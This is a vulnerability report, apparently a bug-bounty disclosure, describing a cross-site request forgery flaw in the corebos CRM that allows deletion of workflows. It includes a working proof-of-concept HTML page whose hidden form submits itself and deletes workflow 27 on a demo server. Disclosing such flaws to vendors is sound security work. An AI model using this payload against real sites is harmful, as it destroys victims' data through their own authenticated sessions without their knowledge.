Cross-Site Request Forgery (CSRF) in tsolucio/corebos
Reported on
Oct 18th 2021
Description
Hey Corebos team
An attacker able to delete a workFlow as there isn't exist any CSRF token for it.
//PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://demo.corebos.com/index.php">
<input type="hidden" name="module" value="com_vtiger_workflow" />
<input type="hidden" name="action" value="deleteworkflow" />
<input type="hidden" name="workflow_id" value="27" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
after that you open the PoC.html file the workflow with id equal to 27 will be deleted.